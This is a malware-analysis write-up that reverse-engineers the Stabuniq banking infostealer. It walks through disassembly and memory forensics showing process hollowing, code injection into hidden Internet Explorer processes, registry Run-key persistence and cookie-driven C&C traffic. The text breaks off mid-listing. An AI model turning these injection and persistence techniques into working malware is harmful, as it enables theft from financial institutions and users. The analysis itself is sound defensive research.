Stabuniq Financial Infostealer Trojan Analysis

According to Symantec, Stabuniq is a financial infostealer trojan which has been found on servers belonging to financial institutions, including banking firms and credit unions. The Trojan also compromised home computer users and computers at security firms.

Targets sounds interesting, so here at UIC R.E.Academy we decided to take an in depth look to this trojan by adopting a classical Reverse Engineering approach.

Binary Geometry

The sample we are going to reverse could be downloaded from Contagiodump and presents the following basic characteristics:

MD5: F31B797831B36A4877AA0FD173A7A4A2
SHA1: 17DB1BBAA1BF1B920E47B28C3050CBFF83AB16DE
FileSize: 77.50 KB (79360 bytes)

The executable is detected as belonging to: Microsoft Visual C++ 6.0

First Inspection

First inspection is done, as you know, by observing the binary from a disassembler perspective in order to understand the structure of the code that we are going to analyse and successively getting our hands directly into the assembly.

Let’s take a first look to the Call Flow of Stabuinq:


The picture clearly shows that the points of major interest are:

  • WinMain (obvious)
  • sub_40F400 due to the presence of interesting API calls like CreateProcessW and SetThreadContext

Once we have a clear idea of what are the core points of our binary we can switch to a dynamic approach, by using a debugger, in order to understand how the code works.
Additionally it’s interesting to observe that there is a lack of indicative strings, this means that this executable is probably packed and/or containts a secondary executable that is decoded and dropped at runtime.

Debugging and carving the second Stabuniq executable

As previously observed WinMain is our starting point, in this case the call is located as follows:

.text:0040F63E loc_40F63E:                     ; CODE XREF: start+C9j
.text:0040F63E         push    eax             ; nShowCmd
.text:0040F63F         push    [ebp+lpCmdLine] ; lpCmdLine
.text:0040F642         push    esi             ; hPrevInstance
.text:0040F643         push    esi             ; lpModuleName
.text:0040F644         call    ds:GetModuleHandleA
.text:0040F64A         push    eax             ; hInstance
.text:0040F64B         call    [email protected]     ; WinMain(x,x,x,x)
.text:0040F650         mov     [ebp+var_60], eax
.text:0040F653         push    eax             ; Code
.text:0040F654         call    _exit
.text:0040F654 start   endp

Let’s move inside WinMain now:

0040F3C5  PUSH 208                            ; /Count = 520.
0040F3CA  PUSH EDX                            ; |Buffer
0040F3CB  PUSH 0                              ; |hModule = NULL
0040F3CD  CALL <&KERNEL32.GetModuleFilenameW> 
0040F3D3  CALL 0040F2D0                       ; stabuniq.0040F2D0
0040F3D8  LEA EAX,[LOCAL.129]
0040F3DE  CALL 0040F400                       ; call observed in
0040F3E3  ADD ESP,8                           ; the call flow
0040F3E8  POP EDI
0040F3E9  POP ESI
0040F3EA  ADD ESP,230
0040F3F0  RETN 10

At address 0040F3DE we have CALL 0040F400, that as you should remember from the previously seen call flow, contains some interesting point of investigation.

0040F44C  PUSH OFFSET 00414F80      ; /pProcessInformation = 414F80
0040F451  PUSH OFFSET 004145F0      ; |pStartupInfo = 4145F0
0040F456  PUSH 0                    ; |CurrentDirectory = NULL
0040F458  PUSH 0                    ; |pEnvironment = NULL
0040F45A  PUSH 4                    ; |CreationFlags = CREATE_SUSPENDED
0040F45C  PUSH 0                    ; |InheritHandles = FALSE
0040F45E  PUSH 0                    ; |pThreadSecurity = NULL
0040F460  PUSH 0                    ; |pProcessSecurity = NULL
0040F462  MOV EBP,EAX               ; |
0040F464  CALL DWORD PTR DS:[<GetCommandLineW>]
0040F46E  PUSH EAX                  ; |CommandLine
0040F46F  PUSH ECX                  ; |ApplicationName => [ARG.1]
0040F470  CALL [<CreateProcessW>]   ; \KERNEL32.CreateProcessW

A new process is created with CREATE_SUSPENDED flag, in this way our binary could drop in the suspended process blocks of decrypted code and once memory filling is completed, via ResumeThread API call, the malicous process will execute the new dropped code.

A little bit after we have

 0040F48F PUSH 40                    ; PAGE_EXECUTE_READWRITE
 0040F491 PUSH 3000                  ; MEM_COMMIT|MEM_RESERVE
 0040F496 PUSH ECX
 0040F497 PUSH EDX
 0040F498 PUSH EAX
 0040F499 CALL DWORD PTR DS:[414F54] ; VirtualAllocEx

PAGE_EXECUTE_READWRITE flag is often a very interesting point because this is a typical element which clearly indicates that a block of executable code is placed in the selected memory area. The picture below show the content of the PAGE_EXECUTE_READWRITE memory block:


As you can see we have a PE structure in memory but a double MZ stub, we can now dump the buffer and resize the file in order to eliminate the first MZ stub by cutting from the buffer start to the second ‘M’.

Our original executable now will transfer this code into the newly created process via WriteProcessMemory and finally via ResumeThread the secondary process is executed.

Preliminary Analysis via Volatility

We can now proceed with the analysis: the next step will be to run the unpacked version of Stabuniq and analyze the memory through Volatility in order to get a better understanding of what’s happening behind the curtains.

vol.exe pslist -f stabuniq.vmem
Volatile Systems Volatility Framework 2.1
Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                Exit
———- ——————– —— —— —— ——– —— —— ——————– ——————–
0x825c87c0 System                    4      0     55      345 ——      0
0x824873e8 smss.exe                368      4      3       19 ——      0 2012-12-21 14:24:43
0x82061b10 wuauclt.exe            1200   1024     11      659      0      0 2012-12-21 14:26:07
0x8202b1a8 iexplore.exe           3408   3104      9      157      0      0 2012-12-21 14:27:42
0x820983c8 iexplore.exe           3428   3408      3       35      0      0 2012-12-21 14:27:43

We can clearly see a couple instances of Internet Explorer launched from a process that’s not in the list (PPID 3104) they most probably are shadow IE instances, invisible to the user. Let’s dig a bit deeper to find out if there’s any outgoing connection:

vol.exe connscan -f stabuniq.vmem
Volatile Systems Volatility Framework 2.1
Offset(P)  Local Address             Remote Address            Pid
———- ————————- ————————- —
0x02029168           3408

Our shadow instance of IE attempted a connection on port 80 to which translates to It appears to be a DNS with a webserver configured. It’s time to check for injected code into both the instances:

vol.exe malfind -p 3408 -f stabuniq.vmem
Process: iexplore.exe Pid: 3408 Address: 0x160000
Flags: CommitCharge: 7, MemCommit: 1, PrivateMemory: 1, Protection: 6

0x160000 55               PUSH EBP
0x160001 8bec             MOV EBP, ESP
0x160003 83ec14           SUB ESP, 0x14
0x160006 53               PUSH EBX
0x160007 56               PUSH ESI
0x160008 57               PUSH EDI
0x160009 e800000000       CALL 0x16000e
0x16000e 5b               POP EBX
0x16000f 81eb6e2b4000     SUB EBX, 0x402b6e
0x160015 895dfc           MOV [EBP-0x4], EBX
0x160018 8b4508           MOV EAX, [EBP+0x8]
0x16001b 8b4dfc           MOV ECX, [EBP-0x4]
0x16001e 898814020000     MOV [EAX+0x214], ECX
0x160024 c745f400000000   MOV DWORD [EBP-0xc], 0x0
0x16002b 8b55f4           MOV EDX, [EBP-0xc]
0x16002e 6bd228           IMUL EDX, EDX, 0x28
0x160031 8b4508           MOV EAX, [EBP+0x8]
0x160034 33c9             XOR ECX, ECX
0x160036 668b8c1032120000 MOV CX, [EAX+EDX+0x1232]
0x16003e 85c9             TEST ECX, ECX

vol.exe malfind -p 3428 -f stabuniq.vmem
Process: iexplore.exe Pid: 3428 Address: 0x160000
Flags: CommitCharge: 7, MemCommit: 1, PrivateMemory: 1, Protection: 6

0x160000 55               PUSH EBP
0x160001 8bec             MOV EBP, ESP
0x160003 83ec14           SUB ESP, 0x14
0x160006 53               PUSH EBX
0x160007 56               PUSH ESI
0x160008 57               PUSH EDI
0x160009 e800000000       CALL 0x16000e
0x16000e 5b               POP EBX
0x16000f 81eb6e2b4000     SUB EBX, 0x402b6e
0x160015 895dfc           MOV [EBP-0x4], EBX
0x160018 8b4508           MOV EAX, [EBP+0x8]
0x16001b 8b4dfc           MOV ECX, [EBP-0x4]
0x16001e 898814020000     MOV [EAX+0x214], ECX
0x160024 c745f400000000   MOV DWORD [EBP-0xc], 0x0
0x16002b 8b55f4           MOV EDX, [EBP-0xc]
0x16002e 6bd228           IMUL EDX, EDX, 0x28
0x160031 8b4508           MOV EAX, [EBP+0x8]
0x160034 33c9             XOR ECX, ECX
0x160036 668b8c1032120000 MOV CX, [EAX+EDX+0x1232]
0x16003e 85c9             TEST ECX, ECX

We can confirm that both the instances have some, identical, injected code. Let’s check the registry hive:

vol.exe -f stabuniq.vmem printkey -K “Software\Microsoft\Windows\CurrentVersion\Run”
Volatile Systems Volatility Framework 2.1
Legend: (S) = Stable (V) = Volatile

Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\default
Key name: Run (S)
Last updated: 2012-12-28 10:14:34



REG_SZ 2ee3cb67-8ecb-4af7-965a-ac0a4dcc1ed9 : (S) C:\Programmi\ComPlus Applications\Uninstall\smagent.exe

Apparently the startup method is pretty straightforward, a random GUID pointing to the trojan’s executable. Let’s now switch to dynamic analysis to better understand what’s going on.

Dynamic Analysis of the Main Module

Right at the beginning of the unpacked executable’s WinMain() procedure we find:

.text:00401788                 push    10000           ; dwMilliseconds
.text:0040178D                 call    ds:Sleep

possibly a simple trick to fool Sandbox analysis software. We can safely patch it and proceed.

.text:004018FD                 push    offset Name     ; "StabilityMutexString"
.text:00401902                 push    0               ; bInitialOwner
.text:00401904                 push    0               ; lpMutexAttributes
.text:00401906                 call    ds:CreateMutexW
.text:0040190C                 mov     [ebp+var_241C], eax
.text:00401912                 call    ds:GetLastError
.text:00401918                 cmp     eax, 0B7h       ; ERROR_ALREADY_EXISTS

Next a mutex called “StabilityMutexString” is created to ensure that only a single instance of this malware is running. If the mutex is found the application stops calling ExitProcess(). After this check several strings are initialized and all the APIs required by the malware are resolved through GetProcAddress() from this routine:

.text:00402AD3 getProcsFromLib proc near               ; CODE XREF: WinMain(x,x,x,x)+639p
.text:00402AD3                                         ; WinMain(x,x,x,x)+649p ...
.text:00402AD3 hModule         = dword ptr -4
.text:00402AD3 proc            = dword ptr  8
.text:00402AD3 lpLibFileName   = dword ptr  0Ch
.text:00402AD3                 push    ebp
.text:00402AD4                 mov     ebp, esp
.text:00402AD6                 push    ecx
.text:00402AD7                 mov     eax, [ebp+lpLibFileName]
.text:00402ADA                 push    eax             ; lpLibFileName
.text:00402ADB                 call    ds:LoadLibraryW
.text:00402AE1                 mov     [ebp+hModule], eax
.text:00402AE4 loc_402AE4:                             ; CODE XREF: getProcsFromLib+49j
.text:00402AE4                 mov     ecx, [ebp+proc]
.text:00402AE7                 cmp     dword ptr [ecx], 0
.text:00402AEA                 jz      short loc_402B1E
.text:00402AEC                 mov     edx, [ebp+proc]
.text:00402AEF                 mov     eax, [edx]
.text:00402AF1                 push    eax             ; lpProcName
.text:00402AF2                 mov     ecx, [ebp+hModule]
.text:00402AF5                 push    ecx             ; hModule
.text:00402AF6                 call    ds:GetProcAddress
.text:00402AFC                 mov     edx, ptr_proc
.text:00402B02                 mov     [edx], eax
.text:00402B04                 mov     eax, [ebp+proc]
.text:00402B07                 add     eax, 4
.text:00402B0A                 mov     [ebp+proc], eax
.text:00402B0D                 mov     ecx, ptr_proc
.text:00402B13                 add     ecx, 4
.text:00402B16                 mov     ptr_proc, ecx
.text:00402B1C                 jmp     short loc_402AE4
.text:00402B1E ; ---------------------------------------------------------------------------
.text:00402B1E loc_402B1E:                             ; CODE XREF: getProcsFromLib+17j
.text:00402B1E                 mov     esp, ebp
.text:00402B20                 pop     ebp
.text:00402B21                 retn    8
.text:00402B21 getProcsFromLib endp

What’s going on here? The first parameter is a NULL-terminated array containing all the functions that needs to be retrieved, the second parameter is the library that the malware wants to query. Each API is resolved and put back into an external buffer. This is the list of all APIs requested:

0012D8F8 778F69B8 ntdll.ZwUnmapViewOfSection
0012D8FC 779653D5 ntdll.RtlDecompressBuffer
0012D900 7645EF42 kernel32.LoadLibraryW
0012D904 7641204D RETURN to kernel32.CreateProcessW
0012D908 7644C7CB kernel32.VirtualAllocEx
0012D90C 7647959F RETURN to kernel32.WriteProcessMemory
0012D910 7649FAEB kernel32.CreateRemoteThread
0012D914 7645E868 kernel32.CloseHandle
0012D918 7645A671 kernel32.lstrcatA
0012D91C 764766BC RETURN to kernel32.lstrcatW
0012D920 7645E8A5 kernel32.CreateFileW
0012D924 7645086B kernel32.GetFileSize
0012D928 7645A5FF kernel32.lstrcpyA
0012D92C 7644910F kernel32.lstrcpyW
0012D930 76446B3F kernel32.CopyFileW
0012D934 7644B333 kernel32.SetFileAttributesW
0012D938 7645A07A kernel32.lstrlenA
0012D93C 7645BDE8 kernel32.lstrlenW
0012D940 7646BBE2 kernel32.ExitProcess
0012D944 7645C3F0 RETURN to kernel32.SetLastError
0012D948 7645CDE0 kernel32.GetLastError
0012D94C 7645D7BC kernel32.CreateEventW
0012D950 7645C2B0 kernel32.WaitForSingleObject
0012D954 7645C280 kernel32.GetTickCount
0012D958 7645FCDD kernel32.GetProcessHeap
0012D95C 76477B43 kernel32.LockFile
0012D960 77902D66 ntdll.RtlAllocateHeap
0012D964 76459BAE kernel32.ReadFile
0012D968 76446F51 kernel32.FindFirstChangeNotificationW
0012D96C 76448C9B kernel32.FindCloseChangeNotification
0012D970 764599D1 kernel32.CreateDirectoryW
0012D974 764653EE kernel32.WriteFile
0012D978 7645DCC2 RETURN to kernel32.CreateThread
0012D97C 7646BC01 kernel32.TerminateThread
0012D980 76451254 kernel32.CreateFileMappingW
0012D984 764650EA kernel32.OpenFileMappingW
0012D988 76459423 kernel32.MapViewOfFile
0012D98C 764533D6 kernel32.CreateMutexW
0012D990 7645D7D4 kernel32.CreateMutexA
0012D994 7645C266 kernel32.Sleep
0012D998 7644777D kernel32.GetProcessVersion
0012D99C 76477928 RETURN to kernel32.lstrcpynW
0012D9A0 7644C4A3 kernel32.GetNativeSystemInfo
0012D9A4 7645C3C0 kernel32.HeapFree
0012D9A8 7645EEFA kernel32.WideCharToMultiByte
0012D9AC 7644FD29 kernel32.CreateToolhelp32Snapshot
0012D9B0 764761ED kernel32.Process32First
0012D9B4 764762B5 kernel32.Process32Next
0012D9B8 764554E7 kernel32.OpenProcess
0012D9BC 7645EF35 kernel32.GetModuleFileNameW
0012D9C0 7645EF07 kernel32.MultiByteToWideChar
0012D9C4 76478BD4 RETURN to kernel32.GetThreadContext
0012D9C8 764A08C3 kernel32.SetThreadContext
0012D9CC 7645171F kernel32.ResumeThread
0012D9D0 76478BF9 kernel32.SuspendThread
0012D9D4 76452C05 kernel32.TerminateProcess
0012D9D8 7645CC94 kernel32.GetProcAddress
0012D9DC 7645DC65 kernel32.LoadLibraryA
0012D9E0 7645D8F3 kernel32.GetModuleHandleA
0012D9E4 7645C43A kernel32.VirtualAlloc
0012D9E8 76466B15 kernel32.VirtualFree
0012D9EC 76452B1D kernel32.lstrcmpiA
0012D9F0 7645F6B4 kernel32.HeapSetInformation
0012D9F4 76465321 kernel32.lstrcmpW
0012D9F8 76466BEE kernel32.SetCurrentDirectoryW
0012D9FC 7645EA61 RETURN to kernel32.CreateFileA
0012DA00 76445B82 kernel32.CreateMailslotA
0012DA04 7649D585 kernel32.GetMailslotInfo
0012DA08 7645C452 kernel32.InterlockedExchange
0012DA0C 76452C15 RETURN to kernel32.VirtualProtect
0012DA10 764712A6 kernel32.CreatePipe
0012DA14 76448DB0 kernel32.SetHandleInformation
0012DA18 7649FE7B kernel32.PeekNamedPipe
0012DA1C 7646404C kernel32.FindFirstFileW
0012DA20 76459B96 kernel32.FindNextFileW
0012DA24 76464C24 RETURN to kernel32.FindClose
0012DA28 764459BA kernel32.RemoveDirectoryW
0012DA2C 76A35728 SHELL32.SHGetFolderPathW
0012DA30 766A40FE ADVAPI32.RegCreateKeyExW
0012DA34 766A468D ADVAPI32.RegOpenKeyExW
0012DA38 766A46AD ADVAPI32.RegQueryValueExW
0012DA3C 766A469D ADVAPI32.RegCloseKey
0012DA40 766A14D6 ADVAPI32.RegSetValueExW
0012DA44 7669E15B ADVAPI32.RegNotifyChangeKeyValue
0012DA48 7669CC15 ADVAPI32.RegOpenKeyA
0012DA4C 766BA299 RETURN to ADVAPI32.RegEnumKeyA
0012DA50 766A48EF ADVAPI32.RegQueryValueExA
0012DA54 766A14B3 ADVAPI32.RegSetValueExA
0012DA58 777B3EF0 SHLWAPI.StrRChrW
0012DA5C 777DE908 SHLWAPI.StrNCatW
0012DA60 777CC57C SHLWAPI.StrCmpNA
0012DA64 777CC45B SHLWAPI.StrStrA
0012DA68 777AC5E6 SHLWAPI.StrChrA
0012DA6C 777CCD65 SHLWAPI.StrToIntA
0012DA70 75F2D5E8 WININET.InternetOpenA
0012DA74 75F3E1C6 WININET.InternetOpenUrlA
0012DA78 75F4567E WININET.InternetConnectA
0012DA7C 75F45761 WININET.HttpOpenRequestA
0012DA80 75F7525A RETURN to WININET.HttpSendRequestA
0012DA84 75F1C664 WININET.InternetCloseHandle
0012DA88 75FC03F3 WININET.InternetSetCookieA
0012DA8C 75FC03D2 RETURN to WININET.InternetGetCookieA
0012DA90 75F197DF WININET.InternetSetOptionA
0012DA94 75F1F8D8 WININET.InternetReadFile
0012DA98 7693EA11 USER32.MessageBoxA
0012DA9C 768F3F47 USER32.wsprintfA
0012DAA0 768F3834 USER32.GetLastInputInfo
0012DAA4 75D42D8B ws2_32.ntohs
0012DAA8 75D4311B ws2_32.inet_addr
0012DAAC 75D43EB8 RETURN to ws2_32.socket
0012DAB0 75D46BDD ws2_32.connect
0012DAB4 75D43918 ws2_32.closesocket
0012DAB8 75D43AB2 ws2_32.WSAStartup
0012DABC 75D43C5F ws2_32.WSACleanup
0012DAC0 77AD15BC psapi.GetModuleFileNameExA

The APIs, together with the list of URLs to contact, installations paths and possible executable names are copied inside a big array of data that will later be accessed by the injected threads. Before spawning the shadow copy of IE, Stabuniq constructs a request that will be sent to the C&C server, composed like this (in my case):

id= 7&src=32Bit&sec=0&view=OllyDbg.exe – explorer.exe – svchost.exe…&dat=page=C:\Users\User44353\Desktop\stabuniq.exe&response= &val=yvuufxrryrdrbxkvfnvtfhufkxpkukkruniyqbcvdursioct&up=eylqcosslqmpjnex

at the same time every value is scrambled with a function called at 0x00408336of our uncompressed executable, the obfuscation can be easily reversed if needed. Finally the function in charge of injecting a thread into IE is called in a loop:

createPostRequest(postRequest, "OK");

while (1) {
    if(createRemoteIEThread(&postReq) != 1)


Threads Analysis

Stabuniq launches iexplore.exe with the CREATE_SUSPENDED flag:

.text:004080B6                 push    0
.text:004080B8                 push    0
.text:004080BA                 push    4
.text:004080BC                 push    1
.text:004080BE                 push    0
.text:004080C0                 push    0
.text:004080C2                 push    0
.text:004080C4                 mov     ecx, [ebp+arg_0]
.text:004080C7                 add     ecx, 1FBEh
.text:004080CD                 push    ecx
.text:004080CE                 mov     edx, [ebp+arg_0]
.text:004080D1                 call    dword ptr [edx+18h] ; CreateProcessW

Three different memory slots are allocated, after that everything is written in place using WriteProcessMemory(), in this order:

  1. POST request string
  2. API table
  3. Injected thread code (0x402b60)

Following that the first thread is started from the main module:

.text:0040821B                 push    0               ; lpThreadId
.text:0040821D                 push    0               ; creation flags
.text:0040821F                 mov     ecx, [ebp+allocedThreadParam]
.text:00408222                 push    ecx             ; lpParameter
.text:00408223                 mov     edx, [ebp+vallocedMem]
.text:00408226                 push    edx             ; start address 0x402b60
.text:00408227                 push    0               ; dwStackSize
.text:00408229                 push    0               ; lpThreadAttributes
.text:0040822B                 mov     eax, [ebp+var_10]
.text:0040822E                 push    eax             ; iexplore.exe handle
.text:0040822F                 mov     ecx, [ebp+arg_0]
.text:00408232                 call    dword ptr [ecx+24h] ; CreateRemoteThread

We can take a look into the thread code from the disassembler, the only problem we’ll face here will be the APIs because they’re all called indirectly so we’ll have to manually reconstruct each pointer. First of all LoadLibrary() is called for every DLL that will be used by the thread:

.text:00402BA2                 mov     edx, [ebp+zero]
.text:00402BA5                 imul    edx, 28h
.text:00402BA8                 mov     eax, [ebp+heapPtr]
.text:00402BAB                 lea     ecx, [eax+edx+1232h] ; Dll table
.text:00402BB2                 push    ecx
.text:00402BB3                 mov     edx, [ebp+heapPtr]
.text:00402BB6                 call    dword ptr [edx+14h] ; LoadLibraryW

After that the process tries to create the “StabilityMutexString” mutex. Then it moves the original executable into the a new path:

.text:00402C5E                 push    1000h
.text:00402C63                 push    0
.text:00402C65                 push    0
.text:00402C67                 push    6
.text:00402C69                 mov     ecx, [ebp+var_14]
.text:00402C6C                 push    ecx
.text:00402C6D                 mov     edx, [ebp+heapPtr]
.text:00402C70                 call    dword ptr [edx+9Ch] ; MapViewOfFile

Following that all the required registry entries are created. Let’s take a brief look at them.

Startup Method

After running an instance of stabuniq.exe (or its dropper), the original executable is removed and copied in a location picked up from the following table:

  • \Java Quick Starter
  • \InstallShield Update Service Scheduler
  • \SoundMax service agent
  • \GrooveMonitor Utility
  • \ComPlus Applications
  • \AcroIE Helper Module

The middle directory being one of these:

  • \Update
  • \Bin
  • \Uninstall
  • \Helper
  • \Installer

and the executable name being one of these:

  • \jqs.exe
  • \issch.exe
  • \smagent.exe
  • \acroiehelper.exe
  • \groovemonitor.exe

This directory tree is created right into “Program Files” directory, using a path randomly generated from the previous list. To ensure survival after a reboot several registry entries are added, from the disassembly we see that the first created is:

.text:00407576                 push    eax
.text:00407577                 lea     ecx, [ebp+var_C]
.text:0040757A                 push    ecx
.text:0040757B                 push    0
.text:0040757D                 push    0F003Fh
.text:00407582                 push    0
.text:00407584                 push    0
.text:00407586                 push    0
.text:00407588                 mov     edx, [ebp+arg_0]
.text:0040758B                 add     edx, 1AB6h
.text:00407591                 push    edx             ; "Software\Stability Software"
.text:00407592                 push    80000001h       ; HKEY_CURRENT_USER
.text:00407597                 mov     eax, [ebp+arg_0]
.text:0040759A                 call    dword ptr [eax+144h] ; RegCreateKeyExW

That translates to the following key:

  • HKEY_CURRENT_USER\Software\Stability Software\”Uniq” = <GUID>

Where GUID is a a GUID-like id generated here:

.text:00402B24                 push    ebp
.text:00402B25                 mov     ebp, esp
.text:00402B27                 sub     esp, 14h
.text:00402B2A                 lea     eax, [ebp+pguid]
.text:00402B2D                 push    eax             ; pguid
.text:00402B2E                 call    ds:CoCreateGuid
.text:00402B34                 lea     ecx, [ebp+lpString2]
.text:00402B37                 push    ecx             ; StringUuid
.text:00402B38                 lea     edx, [ebp+pguid]
.text:00402B3B                 push    edx             ; Uuid
.text:00402B3C                 call    ds:UuidToStringW
.text:00402B42                 mov     eax, [ebp+lpString2]
.text:00402B45                 push    eax             ; lpString2
.text:00402B46                 mov     ecx, [ebp+lpString1]
.text:00402B49                 push    ecx             ; lpString1
.text:00402B4A                 call    ds:lstrcpyW

The GUID is used as a reference to start the main executable after adding three registry entries:

.text:0040770E push eax ; Software\Microsoft\Windows\CurrentVersion\Run
.text:0040770F push 80000002h
.text:00407714 mov ecx, [ebp+arg_0]
.text:00407717 call dword ptr [ecx+148h] ; RegOpenKeyExW

.text:00407747 push eax ; .DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
.text:00407748 push 80000003h
.text:0040774D mov ecx, [ebp+arg_0]
.text:00407750 call dword ptr [ecx+148h] ; RegOpenKeyExW

.text:00407780 push eax ; Software\Microsoft\Windows\CurrentVersion\Run
.text:00407781 push 80000001h
.text:00407786 mov ecx, [ebp+arg_0]
.text:00407789 call dword ptr [ecx+148h] ; RegOpenKeyExW

This is the summary of all the entries added to the registry:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\”<GUID>” = “<file.exe>”
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”<GUID>” = “<file.exe>”
  • HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\”<GUID>” = “<file.exe>”

No other startup methods seems to be used by this trojan.

Three more threads

The first thread takes care of the deletion of the main executable, moves it to the new path, creates any required registry entry, then it starts another instance of Internet Explorer and injects it with its own same code. Then three more thread are created.

First Thread

The first thread, located at: 0x00408008 uses the following routine to keep reinjecting Internet Explorer:

.text:0040802B                 call    dword ptr [eax+0ACh] ; GetProcessVersion
.text:00408031                 mov     [ebp+var_8], eax
.text:00408034                 cmp     [ebp+var_8], 0
.text:00408038                 jnz     short loc_408071
.text:0040803A                 mov     [ebp+var_4], offset injectedThread
.text:00408068                 mov     ecx, [ebp+arg_0]
.text:0040806B                 push    ecx
.text:0040806C                 call    createRemoteIEThread
.text:00408071 loc_408071:                             ; CODE XREF: threadReinjectIE+30j
.text:00408071                 push    1000
.text:00408076                 mov     edx, [ebp+arg_0]
.text:00408079                 call    dword ptr [edx+0A8h] ; Sleep
.text:0040807F                 jmp     short loc_40800E

Then three more threads are created, each one performing a different function.

Second Thread

The second thread is located at this address: 0x00407643, its main function is to keep creating the registry entries used  to survive a reboot. Also any modification to these registry entries is monitored:

.text:004077E6 mov eax, [ebp+var_10]
.text:004077E9 mov ecx, [ebp+eax*4+var_20]
.text:004077ED push ecx
.text:004077EE mov edx, [ebp+arg_0]
.text:004077F1 call dword ptr [edx+158h] ; RegNotifyChangeKeyValue(TRUE, REG_NOTIFY_CHANGE_NAME|REG_NOTIFY_CHANGE_LAST_SET, 0x710, TRUE)
.text:004077F7 mov eax, [ebp+var_10]

Third Thread

The third thread is located at this address: 0x00407CE3, this thread monitors the path where the original executable was started for changes and then finds a suitable place into “Program Files” to drop a copy of the same binary.

.text:00407E43                 push    ecx
.text:00407E44                 push    1
.text:00407E46                 lea     edx, [ebp+var_21C]
.text:00407E4C                 push    edx
.text:00407E4D                 mov     eax, [ebp+arg_0]
.text:00407E50                 call    dword ptr [eax+7Ch] ; FindFirstChangeNotificationW("\\?\StartupPath", TRUE, FILE_NOTIFY_CHANGE_FILE_NAME|DIR_NAME|ATTRIBUTES|LAST_WRITE)
.text:00407E53                 mov     [ebp+var_10], eax
.text:00407E56 loc_407E56:
.text:00407E56                 mov     ecx, 1
.text:00407E5B                 test    ecx, ecx
.text:00407E5D                 jz      loc_408002
.text:00407E63                 push    0FFFFFFFFh
.text:00407E65                 mov     edx, [ebp+var_10]
.text:00407E68                 push    edx
.text:00407E69                 mov     eax, [ebp+arg_0]
.text:00407E6C                 call    dword ptr [eax+64h] ; WaitForSingleObject(handle, WAIT_FOREVER)

C&C Communication

Following the creation of every thread, the main one continues by creating a Mailslot and waiting forever on it:

.text:00404442                 push    0
.text:00404444                 push    0FFFFFFFFh
.text:00404446                 push    0
.text:00404448                 lea     ecx, [ebp+var_128]
.text:0040444E                 push    ecx
.text:0040444F                 mov     edx, [ebp+arg_0]
.text:00404452                 call    dword ptr [edx+114h] ; CreateMailslotA(\\.\Mailslot\GUID, 0, WAIT_FOREVER, NULL)
.text:00404458                 mov     ecx, [ebp+arg_0]

Mailslots are normally used to setup a communication with a remote part. Mailslot’s name is the GUID created during the first stage of the infection, data on this slot is read just before the creation of the list of running processes:

.text:00404533                 push    ecx
.text:00404534                 lea     edx, [ebp+var_4]
.text:00404537                 push    edx
.text:00404538                 mov     eax, [ebp+var_1C]
.text:0040453B                 push    eax
.text:0040453C                 mov     ecx, [ebp+var_10]
.text:0040453F                 mov     edx, [ecx]
.text:00404541                 push    edx
.text:00404542                 mov     eax, [ebp+arg_0]
.text:00404545                 mov     ecx, [eax+1F8h]
.text:0040454B                 push    ecx
.text:0040454C                 mov     edx, [ebp+arg_0]
.text:0040454F                 call    dword ptr [edx+78h] ; ReadFile(hMailSlot, Buffer, size, ptr, NULL)
.text:00404552                 push    0
.text:00404554                 lea     eax, [ebp+var_34]
.text:00404557                 push    eax
.text:00404558                 lea     ecx, [ebp+var_1C]
.text:0040455B                 push    ecx
.text:0040455C                 push    0
.text:0040455E                 mov     edx, [ebp+arg_0]
.text:00404561                 mov     eax, [edx+1F8h]
.text:00404567                 push    eax
.text:00404568                 mov     ecx, [ebp+arg_0]
.text:0040456B                 call    dword ptr [ecx+118h] ; GetMailSlotInfo()

Right after the binary starts communicating with a couple of hardcoded URLs that, most probably, are the C&C servers:

.data:0040E47C                 dd offset aSovereutilize  ; ""
.data:0040E480                 dd offset aBenhomelandefi ; ""

We have been unable to find only two URLs:


The page used to process the requests is the same for both domains:

  • /rssnews.php

We can easily inspect the request:

POST request

POST request created by Stabuniq

That’s created here:

.text:00404267                 push    edx
.text:00404268                 mov     eax, [ebp+arg_18]
.text:0040426B                 add     eax, 0E64h
.text:00404270                 push    eax
.text:00404271                 mov     ecx, [ebp+arg_0]
.text:00404274                 push    ecx
.text:00404275                 mov     edx, [ebp+arg_18]
.text:00404278                 call    dword ptr [edx+190h] ; HttpOpenRequestA(handle, "POST", "/rssnews.php")

The response is then parsed, Stabuniq looks for a cookie:

.text:00406053                 call    dword ptr [eax+1A0h] ; InternetGetCookieA("http://sovere.../rssnews.php", "response=")
.text:00406059                 cmp     [ebp+var_C], 1
.text:0040605D                 ja      short loc_406066
.text:0040605F                 xor     eax, eax
.text:0040609B                 push    eax
.text:0040609C                 mov     ecx, [ebp+var_8]
.text:0040609F                 push    ecx
.text:004060A0                 mov     edx, [ebp+arg_4]
.text:004060A3                 add     edx, 0E7Dh
.text:004060A9                 push    edx
.text:004060AA                 mov     eax, [ebp+arg_0]
.text:004060AD                 push    eax
.text:004060AE                 mov     ecx, [ebp+arg_4]
.text:004060B1                 call    dword ptr [ecx+1A0h] ; InternetGetCookieA("...", "response=")

Here the trojan is checking for the presence of a cookie whose name is response=, the content is parsed and it is used to control the trojan’s behavior. During our analysis the domains used were already sinkholed, for this reason we can not reliably confirm what type of interaction the malware has over the infected system. It’s interesting to note however, that after processing the cookie information, details on user’s activity are acquired and sent to the C&C:

.text:0040726B                 push    ecx
.text:0040726C                 mov     edx, [ebp+arg_4]
.text:0040726F                 call    dword ptr [edx+1B4h] ; GetLastInputInfo
.text:00407275                 mov     eax, [ebp+arg_4]
.text:00407278                 call    dword ptr [eax+68h] ; GetTickCount
.text:0040727B                 mov     [ebp+ticks], eax
.text:0040727E                 mov     eax, [ebp+ticks]
.text:00407281                 sub     eax, [ebp+var_4]
.text:00407284                 xor     edx, edx
.text:00407286                 mov     ecx, 1000       ; Convert to seconds
.text:0040728B                 div     ecx
.text:0040728D                 mov     [ebp+var_10], eax
.text:00407290                 mov     edx, [ebp+var_10]
.text:00407293                 push    edx
.text:00407294                 mov     eax, [ebp+arg_4]
.text:00407297                 add     eax, 260h
.text:0040729C                 push    eax
.text:0040729D                 mov     ecx, [ebp+arg_0]
.text:004072A0                 push    ecx
